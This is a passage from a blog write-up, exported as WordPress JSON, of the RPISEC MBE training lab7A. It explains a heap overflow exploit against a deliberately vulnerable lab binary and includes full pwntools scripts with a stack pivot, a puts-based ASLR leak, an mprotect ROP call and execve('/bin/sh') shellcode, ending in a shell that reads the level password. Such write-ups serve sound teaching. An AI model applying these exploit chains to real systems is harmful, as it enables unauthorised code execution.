<code>msg_len<\/code> of the first chunk. <code>0x43434343<\/code> (<code>\"CCCC\"<\/code>) and <code>0x44444444<\/code> (<code>\"DDDD\"<\/code>) overwrote the heap meta-data of the second chunk messing up this chunk. Nevertheless the value <code>0x45454545<\/code> (<code>\"EEEE\"<\/code>) has been written in the first 4 bytes of the actual data of the second chunk. Because this 4 bytes contain the member-function <code>print_msg<\/code>, the program raises a segmentation fault when we try to print the second message:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,5,7,17,20,32,33]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ c\r\nContinuing.\r\n4\r\n-----------------------------------------\r\n-Input message index to print: 1\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x45454545 ('EEEE')\r\nEBX: 0x80481a8 (&lt;_init&gt;:        push   ebx)\r\nECX: 0xbffff6cd --&gt; 0x4008000a\r\nEDX: 0x80f1ae8 (&quot;EEEE\\n\\267\\312&#92;&#48;37\u036d\\310&#92;&#48;23\\362\\237&amp;Y\\235\\300\\326Z\\214\\vRv\\235t10\\356&#x5B;\\222*&#92;&#48;21\\265\\255d\\322\\313\\326A&#92;&#48;37&#92;&#48;36\\307PD\\205&#92;&#48;16i&#92;&#48;27wXq\\245a_0u&#92;&#48;22G&#92;&#48;22z\\365qv\\202\\\\\\226:u&#x5B;RYe \\302a*&#92;&#48;02x.\\351\\337\\354&#92;&#48;25\\360\\254\\253&#92;&#48;02\\213*\\\\uy\\237\\214@\\377\\203\\246P(dTzR\\317KzP&#92;&#48;23&amp;!\\303\\356\\\\\/aH\\206(&#92;&#48;21\\262\\267{-\\200\\363'\\r&quot;)\r\nESI: 0x0\r\nEDI: 0x80ecfbc --&gt; 0x8069190 (&lt;__stpcpy_sse2&gt;:  mov    edx,DWORD PTR &#x5B;esp+0x4])\r\nEBP: 0xbffff6f8 --&gt; 0xbffff728 --&gt; 0x8049e70 (&lt;__libc_csu_fini&gt;:        push   ebx)\r\nESP: 0xbffff6ac --&gt; 0x8049521 (&lt;print_index+160&gt;:       mov    eax,0x0)\r\nEIP: 0x45454545 ('EEEE')\r\nEFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\nInvalid $PC address: 0x45454545\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff6ac --&gt; 0x8049521 (&lt;print_index+160&gt;:      mov    eax,0x0)\r\n0004| 0xbffff6b0 --&gt; 0x80f1ae8 (&quot;EEEE\\n\\267\\312&#92;&#48;37\u036d\\310&#92;&#48;23\\362\\237&amp;Y\\235\\300\\326Z\\214\\vRv\\235t10\\356&#x5B;\\222*&#92;&#48;21\\265\\255d\\322\\313\\326A&#92;&#48;37&#92;&#48;36\\307PD\\205&#92;&#48;16i&#92;&#48;27wXq\\245a_0u&#92;&#48;22G&#92;&#48;22z\\365qv\\202\\\\\\226:u&#x5B;RYe \\302a*&#92;&#48;02x.\\351\\337\\354&#92;&#48;25\\360\\254\\253&#92;&#48;02\\213*\\\\uy\\237\\214@\\377\\203\\246P(dTzR\\317KzP&#92;&#48;23&amp;!\\303\\356\\\\\/aH\\206(&#92;&#48;21\\262\\267{-\\200\\363'\\r&quot;)\r\n0008| 0xbffff6b4 --&gt; 0x0\r\n0012| 0xbffff6b8 --&gt; 0xa ('\\n')\r\n0016| 0xbffff6bc --&gt; 0x80ed240 --&gt; 0xfbad2887\r\n0020| 0xbffff6c0 --&gt; 0x80ed240 --&gt; 0xfbad2887\r\n0024| 0xbffff6c4 --&gt; 0x29 (')')\r\n0028| 0xbffff6c8 --&gt; 0x1\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n0x45454545 in ?? ()\r\n<\/pre>\n<p>Great! We successfully completed the first part of the challenge:<br \/>\n&#8211;&gt; We found a heap overflow vulnerability within the program.<br \/>\n&#8211;&gt; We succeeded in leveraging this vulnerability to control the instruction pointer (<code>eip<\/code>).<\/p>\n<p>The next big question is: <i>Where should we jump to?<\/i><\/p>\n<p>As we figured out, the binary was statically linked. So let&#8217;s first check if our favourite function <code>system<\/code> has been built in:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048d2a]&gt; is~system\r\nvaddr=0x080d5660 paddr=0x0008d660 ord=738 fwd=NONE sz=62 bind=LOCAL type=OBJECT name=system_dirs\r\nvaddr=0x080d564c paddr=0x0008d64c ord=739 fwd=NONE sz=16 bind=LOCAL type=OBJECT name=system_dirs_len\r\n<\/pre>\n<p>Does not look good. Maybe the binary at least contains the string <code>\"\/bin\/sh\"<\/code> and we can create a ROP-chain executing the syscall <code>execve<\/code>?<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048d2a]&gt; \/ \/bin\/sh\r\nSearching 7 bytes from 0x08048000 to 0x080eff18: 2f 62 69 6e 2f 73 68\r\n# 6 &#x5B;0x8048000-0x80eff18]\r\nhits: 0\r\n<\/pre>\n<p>Nope, no <code>\"\/bin\/sh\"<\/code>.<\/p>\n<p>While searching through the built-in functions I stumbled upon the following:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048d2a]&gt; is~mprotect\r\nvaddr=0x0806f340 paddr=0x00027340 ord=1248 fwd=NONE sz=37 bind=GLOBAL type=FUNC name=__mprotect\r\nvaddr=0x0806f340 paddr=0x00027340 ord=2227 fwd=NONE sz=37 bind=UNKNOWN type=FUNC name=mprotect\r\n<\/pre>\n<p>The binary contains the function <code>mprotect<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,10,13,14]; title: ; notranslate\" title=\"\">\r\nlab7A@warzone:\/levels\/lab07$ man mprotect\r\nMPROTECT(2)                                   Linux Programmer's Manual                                  MPROTECT(2)\r\n\r\nNAME\r\n       mprotect - set protection on a region of memory\r\n\r\nSYNOPSIS\r\n       #include &lt;sys\/mman.h&gt;\r\n\r\n       int mprotect(void *addr, size_t len, int prot);\r\n\r\nDESCRIPTION\r\n       mprotect()  changes  protection  for  the calling process's memory page(s) containing any part of the address\r\n       range in the interval &#x5B;addr, addr+len-1].  addr must be aligned to a page boundary.\r\n\t   \r\n...\r\n<\/pre>\n<p><code>mprotect<\/code> can be used to change the protection of memory pages. As for now we cannot execute shellcode in the stack or heap because these segments are marked as <code>RW<\/code> only because <code>NX<\/code> is enabled:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,4,8]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ ! cat \/proc\/$(pidof lab7A)\/maps\r\n08048000-080ec000 r-xp 00000000 fc:00 922475     \/levels\/lab07\/lab7A\r\n080ec000-080ee000 rw-p 000a3000 fc:00 922475     \/levels\/lab07\/lab7A\r\n080ee000-08112000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb7ffc000-b7ffd000 rw-p 00000000 00:00 0\r\nb7ffd000-b7ffe000 r-xp 00000000 00:00 0          &#x5B;vdso]\r\nb7ffe000-b8000000 r--p 00000000 00:00 0          &#x5B;vvar]\r\nbffdf000-c0000000 rw-p 00000000 00:00 0          &#x5B;stack]\r\n<\/pre>\n<p>If we call <code>mprotect<\/code> to make the heap executable, we could store a shellcode in the heap and then redirect the instruction pointer to that shellcode.<\/p>\n<p>Before we can call <code>mprotect<\/code> we need to leak the address of the heap since we must pass the address as the first argument to <code>mprotect<\/code>.<\/p>\n<p>Let&#8217;s have a look if there is a function built in which can print something for us:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048d2a]&gt; is~puts\r\nvaddr=0x08050bf0 paddr=0x00008bf0 ord=1359 fwd=NONE sz=335 bind=UNKNOWN type=FUNC name=puts\r\n...\r\n<\/pre>\n<p>Looks good. The function <code>puts<\/code> is located at <code>0x08050bf0<\/code>. If we pass the fixed address of the global array <code>messages<\/code> (<code>0x80eef60<\/code>) to <code>puts<\/code> at least the address of the first heap pointer will be printed.<\/p>\n<p>But how do we pass arguments to <code>puts<\/code>? In a stack overflow scenario we could easily overwrite the return address on the stack with a function address and just keep on writing further bytes which will be stored after the return address ending up to be the arguments to the called function.<\/p>\n<p>With the heap overflow vulnerability we discovered, we can only overwrite <u>one<\/u> function address. If we write more bytes, these will not be stored on the stack, but within the struct object on the heap. Thus this does not help us passing arguments to the function we want to call. In the last level we leveraged the fact that the member-function we could overwrite was being called with an argument which fits our needs. In this level the member-function is called passing the whole struct instance:<\/p>\n<pre class=\"brush: cpp; first-line: 196; title: ; notranslate\" title=\"\">\r\n    messages&#x5B;i]-&gt;print_msg(messages&#x5B;i]);\r\n<\/pre>\n<p>As the first member in the struct is the member-function itself, we cannot change this value because it must contain the address of the function we would like to call.<\/p>\n<p>This means we have to do a little trick. Do you remember level <a href=\"http:\/\/www.devel0pment.de\/?p=366#lab5A\">lab5A<\/a>? We introduced a technique called <i>Stack Pivoting<\/i>. When using <i>ROP<\/i> and there is only one gadget we can call, we should call a gadget which changes the stack pointer (<code>esp<\/code>) so that it will point to a region on the stack which we can control. In this region we can place further gadgets which will be called one after another.<\/p>\n<p>But how do we control a region on the stack? There is no stack overflow vulnerability!? Well, we do not need a vulnerability to modify the stack. All local variables are stored on the stack. And did you recognize the quite unusual way the index is read from the user in <code>print_index<\/code> and all other functions requiring an index?<\/p>\n<pre class=\"brush: cpp; first-line: 181; title: ; notranslate\" title=\"\">\r\n    char numbuf&#x5B;32];\r\n    unsigned int i = 0;\r\n\r\n    \/* get message index to print *\/\r\n    printf(&quot;-Input message index to print: &quot;);\r\n    fgets(numbuf, sizeof(numbuf), stdin);\r\n    i = strtoul(numbuf, NULL, 10);\r\n<\/pre>\n<p>The buffer for the index (<code>numbuf<\/code>) is 32 byte long! Quite large for an index but perfect to store more gadgets on the stack \ud83d\ude42<\/p>\n<p>One thing we have to consider is that the buffer must contain a valid index in the first bytes:<\/p>\n<pre class=\"brush: cpp; first-line: 189; title: ; notranslate\" title=\"\">\r\n    if(i &gt;= MAX_MSG || messages&#x5B;i] == NULL)\r\n    {\r\n        printf(&quot;-Invalid message index!\\n&quot;);\r\n        return 1;\r\n    }\r\n\r\n    \/* print the message of interest *\/\r\n    messages&#x5B;i]-&gt;print_msg(messages&#x5B;i]);\r\n<\/pre>\n<p>If <code>i<\/code> is not a valid index, the member-function <code>print_msg<\/code> does not get called. As the user input is read using <code>fgets<\/code> we can place null-bytes in our input. If we enter <code>\"1\\x00AAAAAAAAAAAA...\"<\/code> for example <code>strtoul<\/code> will return the valid index <code>1<\/code> but the buffer <code>numbuf<\/code> will still contain the additional <code>\"AAAA...\"<\/code>.<\/p>\n<p>Summing it up we will do the following to leak the heap address:<br \/>\n&#8211;&gt; Create a message with the length 131, overwriting <code>msg_len<\/code>.<br \/>\n&#8211;&gt; Create a second message.<br \/>\n&#8211;&gt; Edit the first message leveraging the overwritten <code>msg_len<\/code> to overwrite the member-function of the second message with the address of an appropriate stack pivoting gadget.<br \/>\n&#8211;&gt; Selecting <code>4. Print message details<\/code> entering index 1 (second message) followed by a null-byte and additional gadgets, which will be stored on the stack.<\/p>\n<p>The following images illustrates the approach:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7A_02.png\" alt=\"\" width=\"1134\" height=\"680\" class=\"alignnone size-full wp-image-401\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7A_02.png 1134w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7A_02-300x180.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7A_02-768x461.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7A_02-1024x614.png 1024w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The offset from the stack pointer (<code>esp<\/code>) to <code>numbuf<\/code> at the point of time the <code>print_msg<\/code> function is called can be determined using <code>gdb<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,5,9,11,18,24,27,28,31,42,49,69,71,78,79]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ disassemble print_index\r\nDump of assembler code for function print_index:\r\n   ...\r\n   0x0804951c &lt;+155&gt;:   mov    DWORD PTR &#x5B;esp],edx\r\n   0x0804951f &lt;+158&gt;:   call   eax\r\n   ...\r\n   0x08049538 &lt;+183&gt;:   ret\r\nEnd of assembler dump.\r\ngdb-peda$ b *print_index+158\r\nBreakpoint 1 at 0x804951f\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab07\/lab7A\r\n+---------------------------------------+\r\n|        Doom's OTP Service v1.0        |\r\n+---------------------------------------+\r\n|------------ Services Menu ------------|\r\n|---------------------------------------|\r\n| 1. Create secure message              |\r\n| 2. Edit secure message                |\r\n| 3. Destroy secure message             |\r\n| 4. Print message details              |\r\n| 5. Quit                               |\r\n+---------------------------------------+\r\nEnter Choice: 1\r\n-----------------------------------------\r\n-Using message slot #0\r\n-Enter data length: 4\r\n-Enter data to encrypt: AAA\r\n-Message created successfully!\r\n...\r\nEnter Choice: 4\r\n-----------------------------------------\r\n-Input message index to print: 0\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x8048fd3 (&lt;print_message&gt;:        push   ebp)\r\nEBX: 0x80481a8 (&lt;_init&gt;:        push   ebx)\r\nECX: 0xbffff6cd --&gt; 0x4008000a\r\nEDX: 0x80f19d8 --&gt; 0x8048fd3 (&lt;print_message&gt;:  push   ebp)\r\nESI: 0x0\r\nEDI: 0x80ecfbc --&gt; 0x8069190 (&lt;__stpcpy_sse2&gt;:  mov    edx,DWORD PTR &#x5B;esp+0x4])\r\nEBP: 0xbffff6f8 --&gt; 0xbffff728 --&gt; 0x8049e70 (&lt;__libc_csu_fini&gt;:        push   ebx)\r\nESP: 0xbffff6b0 --&gt; 0x80f19d8 --&gt; 0x8048fd3 (&lt;print_message&gt;:   push   ebp)\r\nEIP: 0x804951f (&lt;print_index+158&gt;:      call   eax)\r\nEFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x8049512 &lt;print_index+145&gt;: mov    edx,DWORD PTR &#x5B;ebp-0x30]\r\n   0x8049515 &lt;print_index+148&gt;: mov    edx,DWORD PTR &#x5B;edx*4+0x80eef60]\r\n   0x804951c &lt;print_index+155&gt;: mov    DWORD PTR &#x5B;esp],edx\r\n=&gt; 0x804951f &lt;print_index+158&gt;: call   eax\r\n   0x8049521 &lt;print_index+160&gt;: mov    eax,0x0\r\n   0x8049526 &lt;print_index+165&gt;: mov    ecx,DWORD PTR &#x5B;ebp-0xc]\r\n   0x8049529 &lt;print_index+168&gt;: xor    ecx,DWORD PTR gs:0x14\r\n   0x8049530 &lt;print_index+175&gt;: je     0x8049537 &lt;print_index+182&gt;\r\nGuessed arguments:\r\narg&#x5B;0]: 0x80f19d8 --&gt; 0x8048fd3 (&lt;print_message&gt;:       push   ebp)\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff6b0 --&gt; 0x80f19d8 --&gt; 0x8048fd3 (&lt;print_message&gt;:  push   ebp)\r\n0004| 0xbffff6b4 --&gt; 0x0\r\n0008| 0xbffff6b8 --&gt; 0xa ('\\n')\r\n0012| 0xbffff6bc --&gt; 0x80ed240 --&gt; 0xfbad2887\r\n0016| 0xbffff6c0 --&gt; 0x80ed240 --&gt; 0xfbad2887\r\n0020| 0xbffff6c4 --&gt; 0x29 (')')\r\n0024| 0xbffff6c8 --&gt; 0x0\r\n0028| 0xbffff6cc --&gt; 0x8000a30\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, 0x0804951f in print_index ()\r\ngdb-peda$ x\/32xw $esp\r\n0xbffff6b0:     0x080f19d8      0x00000000      0x0000000a      0x080ed240\r\n0xbffff6c0:     0x080ed240      0x00000029      0x00000000      0x08000a30\r\n0xbffff6d0:     0x080ed240      0x0000000a      0x00000029      0x08050280\r\n0xbffff6e0:     0x080ed240      0x080c085e      0x00000004      0x2b329900\r\n0xbffff6f0:     0x00000000      0x080ecfbc      0xbffff728      0x0804967e\r\n0xbffff700:     0x080c0870      0x00000000      0x00000002      0x00000000\r\n0xbffff710:     0x080ed014      0xbffff7b4      0x00000004      0x2b329900\r\n0xbffff720:     0x00000000      0x080ecfbc      0x08049e70      0x080498ba\r\ngdb-peda$ x\/s $esp+0x1c\r\n0xbffff6cc:     &quot;0\\n&quot;\r\n<\/pre>\n<p>I set a breakpoint on the <code>call eax<\/code> instruction which call the member-function. In the output of the stack we can see the value <code>0x08000a30<\/code>. This is the <code>0 + newline<\/code> we entered. Thus the offset is <code>0x1c<\/code> before the call. Since the call places an additional item on the stack (the return address) the final offset is 0x20 = 32 byte.<\/p>\n<p>An appropriate gadget can be found using <code>radare<\/code> or other ROP-tools (see <a href=\"http:\/\/www.devel0pment.de\/?p=366\">lab6<\/a>). The gadget I used adds 32 byte to <code>esp<\/code> and <code>pop<\/code>s two times. Because this moves <code>esp<\/code> 4 bytes too far, I must append 6 fill bytes (<code>'A'<\/code> in the image) to make <code>esp<\/code> point to the address of <code>puts<\/code>. After the address of <code>puts<\/code> the next return address is stored. Here I simply placed the address of <code>main<\/code> in order to keep the program running. The last item on the stack is the address of <code>messages<\/code> which contains the heap pointers we want to be printed by <code>puts<\/code>.<\/p>\n<p>The following python-script implements this approach leaking the heap address of the first <code>struct msg<\/code> stored in <code>messages[0]<\/code>:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab7A@warzone:\/levels\/lab07$ cat \/tmp\/exploit_lab7A.py\r\nfrom pwn import *\r\n\r\np = process(&quot;.\/lab7A&quot;)\r\n\r\n#************************************************\r\n# stage 1\r\n\r\n# create first obj -&gt; overflow 3 bytes changing msglen\r\np.recvuntil(&quot;Enter Choice: &quot;)\r\np.sendline(&quot;1&quot;)                 # 1. Create secure message\r\np.sendline(&quot;131&quot;)               #    --&gt; len = 131\r\np.sendline(&quot;A&quot;*130)             #    --&gt; data = &quot;AAAAAA...\\n&quot;\r\n\r\n# create second obj -&gt; we are going to overwrite this shortly\r\np.recvuntil(&quot;Enter Choice: &quot;)\r\np.sendline(&quot;1&quot;)                 # 1. Create secure message\r\np.sendline(&quot;4&quot;)                 #    --&gt; len = 4\r\np.sendline(&quot;A&quot;*3)               #    --&gt; data = &quot;AAA\\n&quot;\r\n\r\n# overwrite second obj\r\np.recvuntil(&quot;Enter Choice: &quot;)\r\np.sendline(&quot;2&quot;)                 # 2. Edit secure message\r\np.sendline(&quot;0&quot;)                 #    --&gt; index = 0\r\nexpl = &quot;A&quot;*132\r\nexpl += p32(0x00000000)\r\nexpl += p32(0x00000111)\r\nexpl += p32(0x0807e372) # add esp, 0x20; mov eax, esi; pop ebx; pop esi; ret\r\np.sendline(expl)                #    --&gt; data = expl\r\n\r\n# call function -&gt; leak heap address\r\np.recvuntil(&quot;Enter Choice: &quot;)\r\np.sendline(&quot;4&quot;)                 # 4. Print message details\r\nnum = &quot;1\\x00&quot;\r\nnum += &quot;A&quot;*6\r\nnum += p32(0x8050bf0) # second gadget after pivoting: puts\r\nnum += p32(0x8049569) # return address: main\r\nnum += p32(0x80eef60) # 1st arg puts: messages\r\np.sendline(num)                 #    --&gt; index = 1 (+rop-chain)\r\n\r\n# output contains address of first heap object in messages array\r\nret = p.recvuntil(&quot;Enter Choice: &quot;)\r\nmessage_0 = int(ret&#x5B;0x49:0x4d]&#x5B;::-1].encode(&quot;hex&quot;), 16)\r\nlog.info(&quot;message_0 = &quot; + hex(message_0))\r\n<\/pre>\n<p>Despite of ASLR we can now determine the address of <code>messages[0]<\/code> on the heap:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [3,7,11]; title: ; notranslate\" title=\"\">\r\nlab7A@warzone:\/levels\/lab07$ python \/tmp\/exploit_lab7A.py\r\n&#x5B;+] Starting program '.\/lab7A': Done\r\n&#x5B;*] message_0 = 0x83f09d8\r\n&#x5B;*] Stopped program '.\/lab7A'\r\nlab7A@warzone:\/levels\/lab07$ python \/tmp\/exploit_lab7A.py\r\n&#x5B;+] Starting program '.\/lab7A': Done\r\n&#x5B;*] message_0 = 0x891e9d8\r\n&#x5B;*] Stopped program '.\/lab7A'\r\nlab7A@warzone:\/levels\/lab07$ python \/tmp\/exploit_lab7A.py\r\n&#x5B;+] Starting program '.\/lab7A': Done\r\n&#x5B;*] message_0 = 0x9a449d8\r\n&#x5B;*] Stopped program '.\/lab7A'\r\n<\/pre>\n<p>What else to do to finally get a shell?<br \/>\n&#8211;&gt; Store a shellcode which calls <code>execve(\"\/bin\/sh\")<\/code> (see <a href=\"https:\/\/www.devel0pment.de\/?p=317#lab3C\">lab3C<\/a>) in the heap using the known heap overflow vulnerability.<br \/>\n&#8211;&gt; Use the explained approach to call <code>mprotect<\/code> making the heap executable (the required values for the arguments can be determined with <code>gdb<\/code> using the command <code>i proc mappings<\/code>).<br \/>\n&#8211;&gt; As the return address of the call to <code>mprotect<\/code> set the address of our shellcode within the heap.<\/p>\n<p>I added detailed comments to the final python-script which uses the remote service running on port 7741:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab7A@warzone:\/levels\/lab07$ cat \/tmp\/exploit_lab7A.py\r\nfrom pwn import *\r\n\r\np = remote(&quot;localhost&quot;, 7741)\r\n\r\nshellcode = &quot;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68&quot;\\\r\n            &quot;\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3&quot;\\\r\n            &quot;\\x89\\xc1\\x89\\xc2\\xb0\\x0b\\xcd&quot;\\\r\n            &quot;\\x80\\x31\\xc0\\x40\\xcd\\x80&quot;\r\n\r\n#************************************************\r\n# stage 1\r\n\r\n# create first obj -&gt; overflow 3 bytes changing msg_len\r\np.recvuntil(&quot;Enter Choice: &quot;)\r\np.sendline(&quot;1&quot;)                 # 1. Create secure message\r\np.sendline(&quot;131&quot;)               #    --&gt; len = 131\r\np.sendline(&quot;A&quot;*130)             #    --&gt; data = &quot;AAAAAA...\\n&quot;\r\n\r\n# create second obj -&gt; we are going to overwrite this shortly\r\np.recvuntil(&quot;Enter Choice: &quot;)\r\np.sendline(&quot;1&quot;)                 # 1. Create secure message\r\np.sendline(&quot;4&quot;)                 #    --&gt; len = 4\r\np.sendline(&quot;A&quot;*3)               #    --&gt; data = &quot;AAA\\n&quot;\r\n\r\n# overwrite second obj\r\np.recvuntil(&quot;Enter Choice: &quot;)\r\np.sendline(&quot;2&quot;)                 # 2. Edit secure message\r\np.sendline(&quot;0&quot;)                 #    --&gt; index = 0\r\nexpl = &quot;A&quot;*132\r\nexpl += p32(0x00000000)\r\nexpl += p32(0x00000111)\r\nexpl += p32(0x0807e372) # add esp, 0x20; mov eax, esi; pop ebx; pop esi; ret\r\nexpl += shellcode\r\np.sendline(expl)                #    --&gt; data = expl\r\n\r\n# call function -&gt; leak heap address\r\np.recvuntil(&quot;Enter Choice: &quot;)\r\np.sendline(&quot;4&quot;)                 # 4. Print message details\r\nnum = &quot;1\\x00&quot;\r\nnum += &quot;A&quot;*6\r\nnum += p32(0x8050bf0) # second gadget after pivoting: puts\r\nnum += p32(0x8049569) # return address: main\r\nnum += p32(0x80eef60) # 1st arg puts: messages\r\np.sendline(num)                 #    --&gt; index = 1 (+rop-chain)\r\n\r\n# output contains address of first heap object in messages array\r\nret = p.recvuntil(&quot;Enter Choice: &quot;)\r\nmessage_0 = int(ret&#x5B;0x49:0x4d]&#x5B;::-1].encode(&quot;hex&quot;), 16)\r\nlog.info(&quot;message_0 = &quot; + hex(message_0))\r\n\r\n\r\n#************************************************\r\n# stage 2\r\n\r\n# 3rd obj -&gt; overflow msg_len by 3 bytes\r\np.sendline(&quot;1&quot;)                 # 1. Create secure message\r\np.sendline(&quot;131&quot;)               #    --&gt; len = 131\r\np.sendline(&quot;A&quot;*130)             #    --&gt; data = &quot;AAAAAA...\\n&quot;\r\n\r\n# 4th obj -&gt; we are going to overwrite this shortly\r\np.recvuntil(&quot;Enter Choice: &quot;)\r\np.sendline(&quot;1&quot;)                 # 1. Create secure message\r\np.sendline(&quot;4&quot;)                 #    --&gt; len = 4\r\np.sendline(&quot;A&quot;*3)               #    --&gt; data = &quot;AAA\\n&quot;\r\n\r\n# overwrite 4th obj\r\np.recvuntil(&quot;Enter Choice: &quot;)\r\np.sendline(&quot;2&quot;)                 # 2. Edit secure message\r\np.sendline(&quot;2&quot;)                 #    --&gt; index = 2\r\nexpl = &quot;A&quot;*132\r\nexpl += p32(0x00000000)\r\nexpl += p32(0x00000111)\r\nexpl += p32(0x0807e372) # add esp, 0x20; mov eax, esi; pop ebx; pop esi; ret\r\np.sendline(expl)                #   --&gt; data = expl\r\n\r\n# call function -&gt; mprotect\r\np.recvuntil(&quot;Enter Choice: &quot;)\r\np.sendline(&quot;4&quot;)                 # 4. Print message details\r\nnum = &quot;3\\x00&quot;\r\nnum += &quot;A&quot;*6\r\nnum += p32(0x806f340)          # second gadget: __mprotect\r\nnum += p32(message_0 + 276)    # return: heap-address\r\nnum += p32(message_0 - 0x19d8) # memory-page heap\r\nnum += p32(0x22000)            # size = 0x22000\r\nnum += p32(0x7)                # prot = RWX\r\np.sendline(num)                 #    --&gt; index = 3 (+rop-chain)\r\np.recv(100)\r\n\r\np.interactive()\r\n<\/pre>\n<p>Summing it up again the script does:<br \/>\n&#8211;&gt; Leak the address of <code>messages[0]<\/code> on the heap using <code>puts<\/code>.<br \/>\n&#8211;&gt; Store a shellcode on the heap which calls <code>execve(\"\/bin\/sh\")<\/code>.<br \/>\n&#8211;&gt; Use the leaked address to call <code>mprotect<\/code> making the heap executable.<br \/>\n&#8211;&gt; Setting the address of the shellcode as the return address of the call.<\/p>\n<p>Finally running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab7A@warzone:\/levels\/lab07$ python \/tmp\/exploit_lab7A.py\r\n&#x5B;+] Opening connection to localhost on port 7741: Done\r\n&#x5B;*] message_0 = 0x91ca9d8\r\n&#x5B;*] Switching to interactive mode\r\n$ whoami\r\nlab7end\r\n$ cat \/home\/lab7end\/.pass\r\n0verfl0wz_0n_th3_h3ap_4int_s0_bad\r\n<\/pre>\n<p>Done! The final password for lab7 is <code>0verfl0wz_0n_th3_h3ap_4int_s0_bad<\/code>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>After we have introduced ASLR and ways to bypass it in the last writeup, we will expand our exploits to the Heap in this lab. In this lab there are only two levels: &#8211;&gt; lab7C &#8211;&gt; lab7A<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,7],"tags":[8,9,13,10,11,12,14],"class_list":["post-386","post","type-post","status-publish","format-standard","hentry","category-rpisec-mbe","category-writeup","tag-assembly","tag-binary","tag-elf","tag-pwn","tag-r2","tag-reversing","tag-x86"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/386"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=386"}],"version-history":[{"count":4,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/386\/revisions"}],"predecessor-version":[{"id":579,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/386\/revisions\/579"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=386"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=386"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=386"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}